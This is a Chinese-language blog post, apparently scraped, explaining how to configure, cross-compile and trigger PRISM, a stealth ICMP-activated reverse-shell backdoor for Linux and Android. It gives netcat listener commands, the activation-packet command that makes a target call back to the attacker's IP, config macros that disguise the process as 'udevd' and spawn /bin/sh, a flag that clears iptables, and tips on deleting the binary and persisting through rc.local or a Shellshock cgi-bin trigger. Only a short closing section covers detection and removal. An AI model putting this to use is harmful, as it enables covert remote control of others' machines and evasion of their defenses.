Linux下的ICMP反彈後門:PRISM

  搜索的時候無心中看見的這款基於ping的ICMP後門。因而到做者的github上看看,竟然是陰文的,爲了過級,只能強忍着看了,學生狗傷不起。還比如較簡單易懂,正如簡介說的同樣:「PRISM is an user space stealth reverse shell backdoor, written in pure C.」python

  項目地址:https://github.com/andreafabrizi/prism linux

  PRISM只有兩個主文件,配置簡單,能在LinuxSolaris、AIXBSD/Mac、Android等多個系統上運行,支持兩種工做模式:ICMPSTATIC 模式。git

ICMP模式github

  使用這種模式的後門將會在後臺等待特定的包含主機/端口鏈接信息ICMP數據包,經過私有密鑰能夠阻止第三方訪問。後門進程接受ping包激活(總不會連ping包都不讓過了靶>_<)shell

  首先,在攻擊者的機器上運行netcat來等待後門進入的鏈接:服務器

~$ nc -l -p 9999

   再使用sendPacket.py腳本(或其餘數據包生成器,如nemesis-1.4)發送激活包到後門主機,以使後門主機反彈鏈接到主控機的指定端口:工具

./sendPacket.py 10.0.0.5 linger 10.0.0.10 9999
//10.0.0.5 遠程主機(靶機)的IP地址
//linger 鏈接密碼
//10.0.0.10 主控機IP地址
//9999 主控機鏈接端口

 STATIC模式測試

  使用這種模式,後門主機將會主動嘗試鏈接到指定端口的的IP地址上,因此只要在指定IP上監聽指定端口等待鏈接就能夠了。可是,缺點很明顯,很任意暴露攻擊者的IP地址,並且使用不夠靈活。spa

 $ nc -l -p [PORT] 

   固然,做爲一款迷你級的後門木馬。它仍是有不少優勢的:blog

  兩種工做模式、運行時進程重命名、不會監聽端口、自動清除iptables規則表、採用C語言編寫(代碼僅有200來行),因此不須要任何庫支持。

配置prism後門

  編輯prism.c文件,修改宏定義部分:

 40 #ifdef STATIC
 41 # define REVERSE_HOST     "10.0.0.1"  //鏈接到主控機的IP地址
 42 # define REVERSE_PORT     19832   //鏈接到主控機的端口號
 43 # define RESPAWN_DELAY    15  //後門機嘗試鏈接的空閒時間間隔
 44 #else
 45 # define ICMP_PACKET_SIZE 1024  //ICMP數據包的大小
 46 # define ICMP_KEY         "linger"  //鏈接的密碼
 47 #endif
 48 
 49 #define VERSION          "0.5"   //版本信息
 50 #define MOTD             "PRISM v"VERSION" started\n\n# "  //後門機鏈接時顯示的消息
 51 #define SHELL            "/bin/sh"  //shell執行的位置
 52 #define PROCESS_NAME     "udevd"   //建立的進程名稱

 交叉編譯prism後門

gcc <..OPTIONS..> -Wall -s -o prism prism.c

 可用的參數<OPTION>選項:

-DDETACH   //後臺運行
-DSTATIC   //只用STATIC模式(默認是ICMP模式)
-DNORENAME   //再也不重命名進程名
-DIPTABLES   //清除全部iptables規則表項

例如:

gcc -DDETACH -DNORENAME -Wall -s -o prism prism.c

不一樣平臺下的交叉編譯須要相關庫文件:

Android平臺:

apt-get install gcc-arm-linux-gnueabi
arm-linux-gnueabi-gcc -DSTATIC -DDETACH -DNORENAME -static -march=armv5 prism.c -o prism

Linux 64bit

apt-get install libc6-dev-amd64
gcc -DDETACH -m64 -Wall -s -o prism prism.c

Linux 32bit

apt-get install libc6-dev-i386
gcc -DDETACH -m32 -Wall -s -o prism prism.c

 編譯好以後,能夠查看後門的配置信息:

運行prism後門測試

  將該後門上傳到遠程後門主機,再使用sendPacket.py腳本(需以root運行)在本地發送激活包到後門主機,本地監聽相關端口等待後門主機反彈鏈接:(這裏要注意,最好時將prism.c文件上傳到後門主機再進行編譯,這樣才更容易成功。)

  這對於採用了不少限制(比喻限制了SSH)遠程服務器來講,使用該後門是不錯的。並且prism服務端運行後會在後臺一直運行,除非服務器重啓。因此,後門開啓後刪除自身文件將不容易被發現。

簡單講解prism後門的清除

  首先,上面說了,該後門重啓會失效,除非寫在開機啓動項裏。因此攻擊者想要繼續留住後門,確定會這樣作,故首先要檢查開機啓動項裏(好比/etc/rc.local,這但是root權限!)是否有未知啓動腳本。聯想起前段時間的BASH漏洞,有一個不錯的思路是在cgi-bin裏的某個腳本里做改變,當訪問這個腳本時就能夠觸發這個prism後門,這樣就能夠不用以前的python腳原本觸發了。厄,貌似這就講到攻擊了-_- 無論怎樣,先得有點見識靶。搞很差還真有人會這樣用呢。

  其次,雖然這個後門能夠改變後門進程名,可是仍是有進程存在,因此要查出這個未知進程。能夠用工具查找,找到kill掉就OK了。

  最後,要設置好嚴格的iptables規則。該後門能夠按攻擊者的設置嘗試清除iptables規則,因此要按期查看iptables規則是否改變。

  還有,該後門是使用ICMP協議的PING包激活的,SO,若是還真怕PRISM的會,那就過濾掉ICMP包靶,走着瞧靶v_v

  可是,站在攻擊者的角度來看,想要防範prism後門仍是比較難的。正如其做者所描述的那樣:「No listening ports」,啥意思?就是想用啥端口鏈接均可以,額測試過了: ) 這麼說來,貌似上上一條有失效了-_-

  因此,綜上所屬,最好的辦法就是作好預防工做,防止被入侵。爲啥?由於我是傻逼{-_-}

相關文章
相關標籤/搜索